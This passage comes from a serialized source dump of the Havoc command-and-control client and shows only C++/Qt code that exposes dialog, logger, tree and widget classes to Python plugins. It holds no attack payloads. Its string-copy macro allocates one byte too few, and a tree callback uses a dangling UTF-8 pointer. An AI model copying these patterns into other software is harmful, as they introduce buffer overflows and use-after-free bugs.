self->DialogWindow->root = new QWidget();\r\n    self->DialogWindow->layout = new QVBoxLayout(self->DialogWindow->root);\r\n\r\n    if (scrollable && PyBool_Check(scrollable) && scrollable == Py_True) {\r\n        self->DialogWindow->scroll = new QScrollArea(self->DialogWindow->window);\r\n        self->DialogWindow->scroll->setWidgetResizable(true);\r\n        self->DialogWindow->scroll->setWidget(self->DialogWindow->root);\r\n    }\r\n\r\n    self->DialogWindow->root_layout = new QVBoxLayout(self->DialogWindow->window);\r\n    if (scrollable && PyBool_Check(scrollable) && scrollable == Py_True)\r\n        self->DialogWindow->root_layout->addWidget(self->DialogWindow->scroll);\r\n    else\r\n        self->DialogWindow->root_layout->addWidget(self->DialogWindow->root);\r\n    return 0;\r\n}\r\n\r\n// Methods\r\nPyObject* DialogClass_exec( PPyDialogClass self, PyObject *args )\r\n{\r\n    self->DialogWindow->window->exec();\r\n    //HavocX::HavocUserInterface->NewBottomTab( self->DialogWindow, \"test\");\r\n\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* DialogClass_addLabel( PPyDialogClass self, PyObject *args )\r\n{\r\n    char *text = nullptr;\r\n\r\n    if( !PyArg_ParseTuple( args, \"s\", &text) )\r\n    {\r\n        Py_RETURN_NONE;\r\n    }\r\n    QLabel* label = new QLabel(text, self->DialogWindow->window);\r\n    self->DialogWindow->layout->addWidget(label);\r\n\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* DialogClass_addImage( PPyDialogClass self, PyObject *args )\r\n{\r\n    char *text = nullptr;\r\n\r\n    if( !PyArg_ParseTuple( args, \"s\", &text) )\r\n    {\r\n        Py_RETURN_NONE;\r\n    }\r\n    QPixmap img(text);\r\n    QLabel* label = new QLabel(self->DialogWindow->window);\r\n    label->setPixmap(img);\r\n    self->DialogWindow->layout->addWidget(label);\r\n\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* DialogClass_addButton( PPyDialogClass self, PyObject *args )\r\n{\r\n    char *text = nullptr;\r\n    char *style = nullptr;\r\n    PyObject* button_callback = nullptr;\r\n\r\n    if( !PyArg_ParseTuple( args, \"sO|s\", &text, &button_callback, &style) )\r\n    {\r\n        Py_RETURN_NONE;\r\n    }\r\n    if ( !PyCallable_Check(button_callback) )\r\n    {\r\n        PyErr_SetString(PyExc_TypeError, \"parameter must be callable\");\r\n        return NULL;\r\n    }\r\n    QPushButton* button = new QPushButton(text, self->DialogWindow->window);\r\n    if (style)\r\n        button->setStyleSheet(style);\r\n    self->DialogWindow->layout->addWidget(button);\r\n    QObject::connect(button, &QPushButton::clicked, self->DialogWindow->window, [button_callback]() {\r\n            PyObject_CallFunctionObjArgs(button_callback, nullptr);\r\n    });\r\n\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* DialogClass_addCheckbox( PPyDialogClass self, PyObject *args )\r\n{\r\n    char *text = nullptr;\r\n    char *style = nullptr;\r\n    PyObject* checkbox_callback = nullptr;\r\n    PyObject* is_checked = nullptr;\r\n\r\n    if( !PyArg_ParseTuple( args, \"sO|Os\", &text, &checkbox_callback, &is_checked, &style) )\r\n    {\r\n        Py_RETURN_NONE;\r\n    }\r\n    if ( !PyCallable_Check(checkbox_callback) )\r\n    {\r\n        PyErr_SetString(PyExc_TypeError, \"parameter must be callable\");\r\n        return NULL;\r\n    }\r\n    QCheckBox* checkbox = new QCheckBox(text, self->DialogWindow->window);\r\n    if (style)\r\n        checkbox->setStyleSheet(style);\r\n    if (is_checked && PyBool_Check(is_checked) && is_checked == Py_True)\r\n        checkbox->setChecked(true);\r\n    self->DialogWindow->layout->addWidget(checkbox);\r\n    QObject::connect(checkbox, &QCheckBox::clicked, self->DialogWindow->window, [checkbox_callback]() {\r\n            PyObject_CallFunctionObjArgs(checkbox_callback, nullptr);\r\n    });\r\n\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* DialogClass_addCombobox( PPyDialogClass self, PyObject *args )\r\n{\r\n    Py_ssize_t tuple_size = PyTuple_Size(args);\r\n    QComboBox* comboBox = new QComboBox(self->DialogWindow->window);\r\n\r\n    PyObject* callable_obj = PyTuple_GetItem(args, 0);\r\n    if ( !PyCallable_Check(callable_obj) )\r\n    {\r\n        PyErr_SetString(PyExc_TypeError, \"parameter must be callable\");\r\n        return NULL;\r\n    }\r\n    for (Py_ssize_t i = 1; i < tuple_size; i++) {\r\n        const char * string_obj = PyUnicode_AsUTF8(PyTuple_GetItem(args, i));\r\n\r\n        comboBox->addItem(string_obj);\r\n    }\r\n    self->DialogWindow->layout->addWidget(comboBox);\r\n    QObject::connect(comboBox, QOverload<int>::of(&QComboBox::activated), [callable_obj](int index) {\r\n        PyObject* pArg = PyLong_FromLong(index);\r\n        PyObject_CallFunctionObjArgs(callable_obj, pArg, nullptr);\r\n    });\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* DialogClass_addLineedit( PPyDialogClass self, PyObject *args )\r\n{\r\n    char *text = nullptr;\r\n    PyObject* line_callback = nullptr;\r\n\r\n    if( !PyArg_ParseTuple( args, \"sO\", &text, &line_callback) )\r\n    {\r\n        Py_RETURN_NONE;\r\n    }\r\n    if ( !PyCallable_Check(line_callback) )\r\n    {\r\n        PyErr_SetString(PyExc_TypeError, \"parameter must be callable\");\r\n        return NULL;\r\n    }\r\n    QLineEdit* line = new QLineEdit(self->DialogWindow->window);\r\n    line->setPlaceholderText(text);\r\n    self->DialogWindow->layout->addWidget(line);\r\n    QObject::connect(line, &QLineEdit::editingFinished, self->DialogWindow->window, [line, line_callback]() {\r\n            QString text = line->text();\r\n            QByteArray byteArray = text.toUtf8();\r\n            char *charArray = byteArray.data();\r\n            PyObject* pyString = PyUnicode_DecodeFSDefault(charArray);\r\n            PyObject_CallFunctionObjArgs(line_callback, pyString, nullptr);\r\n    });\r\n\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* DialogClass_addCalendar( PPyDialogClass self, PyObject *args )\r\n{\r\n    PyObject* cal_callback = nullptr;\r\n\r\n    if( !PyArg_ParseTuple( args, \"O\", &cal_callback) )\r\n    {\r\n        Py_RETURN_NONE;\r\n    }\r\n    if ( !PyCallable_Check(cal_callback) )\r\n    {\r\n        PyErr_SetString(PyExc_TypeError, \"parameter must be callable\");\r\n        return NULL;\r\n    }\r\n\r\n    QCalendarWidget* cal = new QCalendarWidget(self->DialogWindow->window);\r\n    self->DialogWindow->layout->addWidget(cal);\r\n\r\n    QObject::connect(cal, &QCalendarWidget::selectionChanged, self->DialogWindow->window, [cal, cal_callback]() {\r\n            QDate selectedDate = cal->selectedDate();\r\n            QString text = selectedDate.toString(\"yyyy-MM-dd\");\r\n            QByteArray byteArray = text.toUtf8();\r\n            char *charArray = byteArray.data();\r\n            PyObject* pyString = PyUnicode_DecodeFSDefault(charArray);\r\n            PyObject_CallFunctionObjArgs(cal_callback, pyString, nullptr);\r\n    });\r\n\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* DialogClass_addDial( PPyDialogClass self, PyObject *args )\r\n{\r\n    PyObject* cal_callback = nullptr;\r\n\r\n    if( !PyArg_ParseTuple( args, \"O\", &cal_callback) )\r\n    {\r\n        Py_RETURN_NONE;\r\n    }\r\n    if ( !PyCallable_Check(cal_callback) )\r\n    {\r\n        PyErr_SetString(PyExc_TypeError, \"parameter must be callable\");\r\n        return NULL;\r\n    }\r\n\r\n    QDial* dial = new QDial(self->DialogWindow->window);\r\n    self->DialogWindow->layout->addWidget(dial);\r\n    QObject::connect(dial, &QDial::valueChanged, self->DialogWindow->window, [cal_callback](long value) {\r\n            PyObject* pyLong = PyLong_FromLong(value);\r\n            PyObject_CallFunctionObjArgs(cal_callback, pyLong, nullptr);\r\n    });\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* DialogClass_addSlider( PPyDialogClass self, PyObject *args )\r\n{\r\n    PyObject* cal_callback = nullptr;\r\n    PyObject* vertical = nullptr;\r\n\r\n    if( !PyArg_ParseTuple( args, \"O|O\", &cal_callback, &vertical) )\r\n    {\r\n        Py_RETURN_NONE;\r\n    }\r\n    if ( !PyCallable_Check(cal_callback) )\r\n    {\r\n        PyErr_SetString(PyExc_TypeError, \"parameter must be callable\");\r\n        return NULL;\r\n    }\r\n\r\n    QSlider* slider = nullptr;\r\n    if (vertical && PyBool_Check(vertical) && vertical == Py_True) {\r\n        slider = new QSlider(Qt::Vertical);\r\n    } else {\r\n        slider = new QSlider(Qt::Horizontal);\r\n    }\r\n    self->DialogWindow->layout->addWidget(slider);\r\n    QObject::connect(slider, &QSlider::valueChanged, self->DialogWindow->window, [cal_callback](long value) {\r\n            PyObject* pyLong = PyLong_FromLong(value);\r\n            PyObject_CallFunctionObjArgs(cal_callback, pyLong, nullptr);\r\n    });\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* DialogClass_replaceLabel( PPyDialogClass self, PyObject *args )\r\n{\r\n    char* to_find = NULL;\r\n    char* to_replace= NULL;\r\n    QVBoxLayout *layout = self->DialogWindow->layout;\r\n\r\n    if( !PyArg_ParseTuple( args, \"ss\", &to_find, &to_replace) )\r\n    {\r\n        Py_RETURN_NONE;\r\n    }\r\n    QString targetText = QString(to_find);\r\n    for (int i = 0; i < layout->count(); ++i) {\r\n        QLayoutItem* item = layout->itemAt(i);\r\n        if (item->widget() && item->widget()->inherits(\"QLabel\")) {\r\n            QLabel* label = qobject_cast<QLabel*>(item->widget());\r\n            if (label && label->text() == targetText) {\r\n                label->setText(to_replace);\r\n                break;\r\n            }\r\n        }\r\n    }\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* DialogClass_close( PPyDialogClass self, PyObject *args )\r\n{\r\n    self->DialogWindow->window->accept();\r\n\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* DialogClass_clear( PPyDialogClass self, PyObject *args )\r\n{\r\n    QVBoxLayout *layout = self->DialogWindow->layout;\r\n    QLayoutItem* item;\r\n\r\n    while ((item = layout->takeAt(0)) != nullptr) {\r\n        delete item->widget();\r\n        delete item;\r\n    }\r\n    Py_RETURN_NONE;\r\n}\r\n"
  },
  {
    "path": "client/src/Havoc/PythonApi/UI/PyLoggerClass.cc",
    "content": "\r\n#define PY_SSIZE_T_CLEAN\r\n#include <Python.h>\r\n#include <structmember.h>\r\n\r\n#include <Havoc/PythonApi/PythonApi.h>\r\n#include <Havoc/PythonApi/UI/PyLoggerClass.hpp>\r\n\r\n\r\nPyMemberDef PyLoggerClass_members[] = {\r\n\r\n        { \"title\",       T_STRING, offsetof( PyLoggerClass, title ),    0, \"title\" },\r\n\r\n        { NULL },\r\n};\r\n\r\nPyMethodDef PyLoggerClass_methods[] = {\r\n\r\n        { \"setBottomTab\",               ( PyCFunction ) LoggerClass_setBottomTab,               METH_VARARGS, \"Set widget as Bottom Tab\" },\r\n        { \"setSmallTab\",               ( PyCFunction ) LoggerClass_setSmallTab,               METH_VARARGS, \"Set widget as Small Tab\" },\r\n        { \"addText\",               ( PyCFunction ) LoggerClass_addText,               METH_VARARGS, \"add text to the logger widget\" },\r\n        { \"clear\",               ( PyCFunction ) LoggerClass_clear,               METH_VARARGS, \"clears the logger\" },\r\n\r\n        { NULL },\r\n};\r\n\r\nPyTypeObject PyLoggerClass_Type = {\r\n        PyVarObject_HEAD_INIT( &PyType_Type, 0 )\r\n\r\n        \"havocui.logger\",                              /* tp_name */\r\n        sizeof( PyLoggerClass ),                     /* tp_basicsize */\r\n        0,                                          /* tp_itemsize */\r\n        ( destructor ) LoggerClass_dealloc,          /* tp_dealloc */\r\n        0,                                          /* tp_print */\r\n        0,                                          /* tp_getattr */\r\n        0,                                          /* tp_setattr */\r\n        0,                                          /* tp_reserved */\r\n        0,                                          /* tp_repr */\r\n        0,                                          /* tp_as_number */\r\n        0,                                          /* tp_as_sequence */\r\n        0,                                          /* tp_as_mapping */\r\n        0,                                          /* tp_hash */\r\n        0,                                          /* tp_call */\r\n        0,                                          /* tp_str */\r\n        0,                                          /* tp_getattro */\r\n        0,                                          /* tp_setattro */\r\n        0,                                          /* tp_as_buffer */\r\n        Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE,   /* tp_flags */\r\n        \"Logger Widget Havoc Object\",                      /* tp_doc */\r\n        0,                                          /* tp_traverse */\r\n        0,                                          /* tp_clear */\r\n        0,                                          /* tp_richcompare */\r\n        0,                                          /* tp_weaklistoffset */\r\n        0,                                          /* tp_iter */\r\n        0,                                          /* tp_iternext */\r\n        PyLoggerClass_methods,                       /* tp_methods */\r\n        PyLoggerClass_members,                       /* tp_members */\r\n        0,                                          /* tp_getset */\r\n        0,                                          /* tp_base */\r\n        0,                                          /* tp_dict */\r\n        0,                                          /* tp_descr_get */\r\n        0,                                          /* tp_descr_set */\r\n        0,                                          /* tp_dictoffset */\r\n        ( initproc ) LoggerClass_init,               /* tp_init */\r\n        0,                                          /* tp_alloc */\r\n        LoggerClass_new,                             /* tp_new */\r\n};\r\n\r\n#define AllocMov( des, src, size )                          \\\r\n    if ( size > 0 )                                         \\\r\n    {                                                       \\\r\n        des = ( char* ) malloc( size * sizeof( char ) );    \\\r\n        memset( des, 0, size );                             \\\r\n        std::strcpy( des, src );                            \\\r\n    }\r\n\r\nvoid LoggerClass_dealloc( PPyLoggerClass self )\r\n{\r\n    Py_XDECREF( self->title );\r\n    delete self->LoggerWindow->window;\r\n    free(self->LoggerWindow);\r\n\r\n    Py_TYPE( self )->tp_free( ( PyObject* ) self );\r\n}\r\n\r\nPyObject* LoggerClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds )\r\n{\r\n    PPyLoggerClass self;\r\n\r\n    self = ( PPyLoggerClass ) PyType_Type.tp_alloc( type, 0 );\r\n\r\n    return ( PyObject* ) self;\r\n}\r\n\r\nint LoggerClass_init( PPyLoggerClass self, PyObject *args, PyObject *kwds )\r\n{\r\n    if ( PyType_Type.tp_init( ( PyObject* ) self, args, kwds ) < 0 )\r\n        return -1;\r\n\r\n    char*       title          = NULL;\r\n    const char* kwdlist[]        = { \"title\", NULL };\r\n\r\n    if ( ! PyArg_ParseTupleAndKeywords( args, kwds, \"s\", const_cast<char**>(kwdlist), &title ) )\r\n        return -1;\r\n    AllocMov( self->title, title, strlen(title) );\r\n    self->LoggerWindow = (PPyLoggerQWindow)malloc(sizeof(PyLoggerQWindow));\r\n    if (self->LoggerWindow == NULL)\r\n        return -1;\r\n    self->LoggerWindow->window = new QWidget();\r\n    self->LoggerWindow->window->setWindowTitle(title);\r\n    self->LoggerWindow->layout = new QGridLayout(self->LoggerWindow->window);\r\n    self->LoggerWindow->layout->setContentsMargins(4, 4, 4, 4);\r\n\r\n    self->LoggerWindow->LogSection = new QTextEdit(self->LoggerWindow->window);\r\n    self->LoggerWindow->LogSection->setReadOnly(true);\r\n    self->LoggerWindow->layout->addWidget(self->LoggerWindow->LogSection, 0, 0, 1, 1);\r\n\r\n    return 0;\r\n}\r\n\r\n// Methods\r\n\r\nPyObject* LoggerClass_setBottomTab( PPyLoggerClass self, PyObject *args )\r\n{\r\n    HavocX::HavocUserInterface->NewBottomTab( self->LoggerWindow->window, self->title);\r\n\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* LoggerClass_setSmallTab( PPyLoggerClass self, PyObject *args )\r\n{\r\n    HavocX::HavocUserInterface->NewSmallTab( self->LoggerWindow->window, self->title);\r\n\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* LoggerClass_addText( PPyLoggerClass self, PyObject *args )\r\n{\r\n    char* text = NULL;\r\n    if( !PyArg_ParseTuple( args, \"s\", &text) )\r\n    {\r\n        Py_RETURN_NONE;\r\n    }\r\n    QString Qtext = QString(text);\r\n    self->LoggerWindow->LogSection->append(Qtext);\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* LoggerClass_clear( PPyLoggerClass self, PyObject *args )\r\n{\r\n    self->LoggerWindow->LogSection->clear();\r\n    Py_RETURN_NONE;\r\n}\r\n"
  },
  {
    "path": "client/src/Havoc/PythonApi/UI/PyTreeClass.cc",
    "content": "\r\n#define PY_SSIZE_T_CLEAN\r\n#include <Python.h>\r\n#include <structmember.h>\r\n\r\n#include <Havoc/PythonApi/PythonApi.h>\r\n#include <Havoc/PythonApi/UI/PyTreeClass.hpp>\r\n\r\n\r\nPyMemberDef PyTreeClass_members[] = {\r\n\r\n        { \"title\",       T_STRING, offsetof( PyTreeClass, title ),    0, \"title\" },\r\n\r\n        { NULL },\r\n};\r\n\r\nPyMethodDef PyTreeClass_methods[] = {\r\n\r\n        { \"setBottomTab\",               ( PyCFunction ) TreeClass_setBottomTab,               METH_VARARGS, \"Set widget as Bottom Tab\" },\r\n        { \"setSmallTab\",               ( PyCFunction ) TreeClass_setSmallTab,               METH_VARARGS, \"Set widget as Small Tab\" },\r\n        { \"addRow\",               ( PyCFunction ) TreeClass_addRow,               METH_VARARGS, \"add a row to the tree\" },\r\n        { \"setPanel\",               ( PyCFunction ) TreeClass_setPanel,               METH_VARARGS, \"Set the data inside of the panel\" },\r\n        { \"setItem\",               ( PyCFunction ) TreeClass_setItem,               METH_VARARGS, \"set an item in the tree\" },\r\n\r\n        { NULL },\r\n};\r\n\r\nPyTypeObject PyTreeClass_Type = {\r\n        PyVarObject_HEAD_INIT( &PyType_Type, 0 )\r\n\r\n        \"havocui.tree\",                              /* tp_name */\r\n        sizeof( PyTreeClass ),                     /* tp_basicsize */\r\n        0,                                          /* tp_itemsize */\r\n        ( destructor ) TreeClass_dealloc,          /* tp_dealloc */\r\n        0,                                          /* tp_print */\r\n        0,                                          /* tp_getattr */\r\n        0,                                          /* tp_setattr */\r\n        0,                                          /* tp_reserved */\r\n        0,                                          /* tp_repr */\r\n        0,                                          /* tp_as_number */\r\n        0,                                          /* tp_as_sequence */\r\n        0,                                          /* tp_as_mapping */\r\n        0,                                          /* tp_hash */\r\n        0,                                          /* tp_call */\r\n        0,                                          /* tp_str */\r\n        0,                                          /* tp_getattro */\r\n        0,                                          /* tp_setattro */\r\n        0,                                          /* tp_as_buffer */\r\n        Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE,   /* tp_flags */\r\n        \"Tree Widget Havoc Object\",                      /* tp_doc */\r\n        0,                                          /* tp_traverse */\r\n        0,                                          /* tp_clear */\r\n        0,                                          /* tp_richcompare */\r\n        0,                                          /* tp_weaklistoffset */\r\n        0,                                          /* tp_iter */\r\n        0,                                          /* tp_iternext */\r\n        PyTreeClass_methods,                       /* tp_methods */\r\n        PyTreeClass_members,                       /* tp_members */\r\n        0,                                          /* tp_getset */\r\n        0,                                          /* tp_base */\r\n        0,                                          /* tp_dict */\r\n        0,                                          /* tp_descr_get */\r\n        0,                                          /* tp_descr_set */\r\n        0,                                          /* tp_dictoffset */\r\n        ( initproc ) TreeClass_init,               /* tp_init */\r\n        0,                                          /* tp_alloc */\r\n        TreeClass_new,                             /* tp_new */\r\n};\r\n\r\n#define AllocMov( des, src, size )                          \\\r\n    if ( size > 0 )                                         \\\r\n    {                                                       \\\r\n        des = ( char* ) malloc( size * sizeof( char ) );    \\\r\n        memset( des, 0, size );                             \\\r\n        std::strncpy( des, src, size );                     \\\r\n    }\r\n\r\nvoid TreeClass_dealloc( PPyTreeClass self )\r\n{\r\n    if (self) {\r\n        if (self->title)\r\n            Py_XDECREF( self->title );\r\n        if (self->TreeWindow && self->TreeWindow->window)\r\n            delete self->TreeWindow->window;\r\n        if (self->TreeWindow)\r\n            free(self->TreeWindow);\r\n        Py_TYPE( self )->tp_free( ( PyObject* ) self );\r\n    }\r\n}\r\n\r\nPyObject* TreeClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds )\r\n{\r\n    PPyTreeClass self;\r\n\r\n    self = ( PPyTreeClass ) PyType_Type.tp_alloc( type, 0 );\r\n    if (self == NULL)\r\n        return NULL;\r\n    self->title = NULL;\r\n    self->TreeWindow = NULL;\r\n    self->TreeWindow = (PPyTreeQWindow)malloc(sizeof(PyTreeQWindow));\r\n    if (self->TreeWindow == NULL)\r\n        return NULL;\r\n    self->TreeWindow->window = NULL;\r\n    self->TreeWindow->layout = NULL;\r\n    self->TreeWindow->scroll= NULL;\r\n    self->TreeWindow->root = NULL;\r\n    self->TreeWindow->panel = NULL;\r\n    self->TreeWindow->root_layout = NULL;\r\n    return ( PyObject* ) self;\r\n}\r\n\r\nint TreeClass_init( PPyTreeClass self, PyObject *args, PyObject *kwds )\r\n{\r\n    char*       title          = NULL;\r\n    PyObject* class_callback    = nullptr;\r\n    PyObject* has_panel         = nullptr;\r\n    const char* kwdlist[]        = { \"title\", \"callback\", \"panel\", NULL };\r\n\r\n    if ( ! PyArg_ParseTupleAndKeywords( args, kwds, \"sO|O\", const_cast<char**>(kwdlist), &title, &class_callback, &has_panel ) )\r\n        return -1;\r\n    if ( !PyCallable_Check(class_callback) )\r\n    {\r\n        PyErr_SetString(PyExc_TypeError, \"parameter must be callable\");\r\n        return -1;\r\n    }\r\n\r\n    AllocMov( self->title, title, strlen(title) );\r\n\r\n    self->TreeWindow->window = new QWidget();\r\n    self->TreeWindow->window->setWindowTitle(title);\r\n\r\n    self->TreeWindow->root = new QWidget();\r\n    self->TreeWindow->layout = new QHBoxLayout(self->TreeWindow->root);\r\n\r\n    self->TreeWindow->scroll = new QScrollArea(self->TreeWindow->window);\r\n    self->TreeWindow->scroll->setWidgetResizable(true);\r\n    self->TreeWindow->scroll->setWidget(self->TreeWindow->root);\r\n\r\n    self->TreeWindow->root_layout = new QVBoxLayout(self->TreeWindow->window);\r\n    self->TreeWindow->root_layout->addWidget(self->TreeWindow->scroll);\r\n\r\n    self->TreeWindow->item_model = new QStandardItemModel();\r\n    self->TreeWindow->item_model->setColumnCount(1);\r\n\r\n    self->TreeWindow->root_item = new QStandardItem(title);\r\n    self->TreeWindow->tree_view = new QTreeView();\r\n    self->TreeWindow->tree_view->setEditTriggers(QAbstractItemView::NoEditTriggers);\r\n\r\n    self->TreeWindow->tree_view->setModel(self->TreeWindow->item_model);\r\n    self->TreeWindow->item_model->invisibleRootItem()->appendRow(self->TreeWindow->root_item);\r\n\r\n    if (has_panel && PyBool_Check(has_panel) && has_panel == Py_True) {\r\n        self->TreeWindow->splitter = new QSplitter();\r\n        self->TreeWindow->panel = new QTextBrowser();\r\n        //self->TreeWindow->panel->setOpenLinks(false);\r\n        self->TreeWindow->panel->setOpenExternalLinks(true);\r\n        //self->TreeWindow->panel->setReadOnly(true);\r\n        self->TreeWindow->splitter->addWidget(self->TreeWindow->tree_view);\r\n        self->TreeWindow->splitter->addWidget(self->TreeWindow->panel);\r\n        self->TreeWindow->layout->addWidget(self->TreeWindow->splitter);\r\n    } else {\r\n        self->TreeWindow->layout->addWidget(self->TreeWindow->tree_view);\r\n    }\r\n\r\n    QObject::connect(self->TreeWindow->tree_view->selectionModel(), &QItemSelectionModel::selectionChanged, [self, class_callback](const QItemSelection &selected, const QItemSelection &deselected) {\r\n        for (const QModelIndex &index : selected.indexes()) {\r\n            QStandardItem *selectedItem = self->TreeWindow->item_model->itemFromIndex(index);\r\n            if (selectedItem) {\r\n                const char *str = selectedItem->text().toUtf8().constData();\r\n                PyObject* pystr = PyUnicode_DecodeFSDefault(str);\r\n                PyObject_CallFunctionObjArgs(class_callback, pystr, nullptr);\r\n            }\r\n        }\r\n    });\r\n\r\n    return 0;\r\n}\r\n\r\n// Methods\r\n\r\nPyObject* TreeClass_setBottomTab( PPyTreeClass self, PyObject *args )\r\n{\r\n    HavocX::HavocUserInterface->NewBottomTab( self->TreeWindow->window, self->title);\r\n\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* TreeClass_setSmallTab( PPyTreeClass self, PyObject *args )\r\n{\r\n    HavocX::HavocUserInterface->NewSmallTab( self->TreeWindow->window, self->title);\r\n\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* TreeClass_addRow( PPyTreeClass self, PyObject *args )\r\n{\r\n    const char *title = nullptr;\r\n    Py_ssize_t tuple_size = PyTuple_Size(args);\r\n\r\n    title = (const char *)PyUnicode_AsUTF8(PyTuple_GetItem(args, 0));\r\n    if (title == NULL) {\r\n        PyErr_SetString(PyExc_TypeError, \"First parameter must be a string\");\r\n    }\r\n\r\n    QStandardItem* child = new QStandardItem(title);\r\n    QList<QStandardItem*> child_data;\r\n\r\n    for (Py_ssize_t i = 1; i < tuple_size; i++) {\r\n        const char* child_str = PyUnicode_AsUTF8(PyTuple_GetItem(args, i));\r\n        child_data.append(new QStandardItem(child_str));\r\n    }\r\n    child->appendColumn(child_data);\r\n    self->TreeWindow->root_item->appendRow(child);\r\n\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* TreeClass_setItem( PPyTreeClass self, PyObject *args )\r\n{\r\n    int x, y;\r\n    char *str;\r\n    if( !PyArg_ParseTuple( args, \"iis\", &x, &y, &str) )\r\n    {\r\n        Py_RETURN_NONE;\r\n    }\r\n    QStandardItem* element = new QStandardItem(str);\r\n\r\n    self->TreeWindow->item_model->setItem(x, y, element);\r\n\r\n    Py_RETURN_NONE;\r\n}\r\n\r\nPyObject* TreeClass_setPanel( PPyTreeClass self, PyObject *args )\r\n{\r\n    char *str;\r\n    if( !PyArg_ParseTuple( args, \"s\", &str) )\r\n    {\r\n        Py_RETURN_NONE;\r\n    }\r\n    if (self->TreeWindow->panel) {\r\n        self->TreeWindow->panel->clear();\r\n\r\n        QString Qtext = QString(str);\r\n        //self->TreeWindow->panel->append(Qtext);\r\n        self->TreeWindow->panel->setHtml(Qtext);\r\n    } else {\r\n        PyErr_SetString(PyExc_TypeError, \"The tree panel was not activated on initialization\");\r\n    }\r\n\r\n    Py_RETURN_NONE;\r\n}\r\n"
  },
  {
    "path": "client/src/Havoc/PythonApi/UI/PyWidgetClass.cc",
    "content": "\r\n#define PY_SSIZE_T_CLEAN\r\n#include <Python.h>\r\n#include <structmember.h>\r\n\r\n#include <Havoc/PythonApi/PythonApi.h>\r\n#include <Havoc/PythonApi/UI/PyWidgetClass.hpp>\r\n\r\n\r\nPyMemberDef PyWidgetClass_members[] = {\r\n\r\n        { \"title\",       T_STRING, offsetof( PyWidgetClass, title ),    0, \"title\" },\r\n\r\n        { NULL },\r\n};\r\n\r\nPyMethodDef PyWidgetClass_methods[] = {\r\n\r\n        { \"setBottomTab\",               ( PyCFunction ) WidgetClass_setBottomTab,               METH_VARARGS, \"Set widget as Bottom Tab\" },\r\n        { \"setSmallTab\",               ( PyCFunction ) WidgetClass_setSmallTab,               METH_VARARGS, \"Set widget as Small Tab\" },\r\n        { \"addLabel\",               ( PyCFunction ) WidgetClass_addLabel,               METH_VARARGS, \"Insert a label in the widget\" },\r\n        { \"addImage\",               ( PyCFunction ) WidgetClass_addImage,               METH_VARARGS, \"Insert an image in the widget\" },\r\n        { \"addButton\",               ( PyCFunction ) WidgetClass_addButton,               METH_VARARGS, \"Insert a button in the widget\" },\r\n        { \"addCheckbox\",               ( PyCFunction ) WidgetClass_addCheckbox,               METH_VARARGS, \"Insert a checkbox in the window\" },\r\n        { \"addCombobox\",               ( PyCFunction ) WidgetClass_addCombobox,               METH_VARARGS, \"Insert a checkbox in the window\" },\r\n        { \"addLineedit\",               ( PyCFunction ) WidgetClass_addLineedit,               METH_VARARGS, \"Insert a Line edit in the window\" },\r\n        { \"addCalendar\",               ( PyCFunction ) WidgetClass_addCalendar,               METH_VARARGS, \"Insert a Calendar in the window\" },\r\n        { \"addDial\",               ( PyCFunction ) WidgetClass_addDial,               METH_VARARGS, \"Insert a dial in the window\" },\r\n        { \"addSlider\",               ( PyCFunction ) WidgetClass_addSlider,               METH_VARARGS, \"Insert a slider in the window\" },\r\n        { \"replaceLabel\",               ( PyCFunction ) WidgetClass_replaceLabel,               METH_VARARGS, \"Replace a label with supplied text\" },\r\n        { \"clear\",               ( PyCFunction ) WidgetClass_clear,               METH_VARARGS, \"clear a widget\" },\r\n\r\n        { NULL },\r\n};\r\n\r\nPyTypeObject PyWidgetClass_Type = {\r\n        PyVarObject_HEAD_INIT( &PyType_Type, 0 )\r\n\r\n        \"havocui.widget\",                              /* tp_name */\r\n        sizeof( PyWidgetClass ),                     /* tp_basicsize */\r\n        0,                                          /* tp_itemsize */\r\n        ( destructor ) WidgetClass_dealloc,          /* tp_dealloc */\r\n        0,                                          /* tp_print */\r\n        0,                                          /* tp_getattr */\r\n        0,                                          /* tp_setattr */\r\n        0,                                          /* tp_reserved */\r\n        0,                                          /* tp_repr */\r\n        0,                                          /* tp_as_number */\r\n        0,                                          /* tp_as_sequence */\r\n        0,                                          /* tp_as_mapping */\r\n        0,                                          /* tp_hash */\r\n        0,                                          /* tp_call */\r\n        0,                                          /* tp_str */\r\n        0,                                          /* tp_getattro */\r\n        0,                                          /* tp_setattro */\r\n        0,                                          /* tp_as_buffer */\r\n        Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE,   /* tp_flags */\r\n        \"Widget Havoc Object\",                      /* tp_doc */\r\n        0,                                          /* tp_traverse */\r\n        0,                                          /* tp_clear */\r\n        0,                                          /* tp_richcompare */\r\n        0,                                          /* tp_weaklistoffset */\r\n        0,                                          /* tp_iter */\r\n        0,                                          /* tp_iternext */\r\n        PyWidgetClass_methods,                       /* tp_methods */\r\n        PyWidgetClass_members,                       /* tp_members */\r\n        0,                                          /* tp_getset */\r\n        0,                                          /* tp_base */\r\n        0,                                          /* tp_dict */\r\n        0,                                          /* tp_descr_get */\r\n        0,                                          /* tp_descr_set */\r\n        0,                                          /* tp_dictoffset */\r\n        ( initproc ) WidgetClass_init,               /* tp_init */\r\n        0,                                          /* tp_alloc */\r\n        WidgetClass_new,                             /* tp_new */\r\n};\r\n\r\n#define AllocMov( des, src, size )                          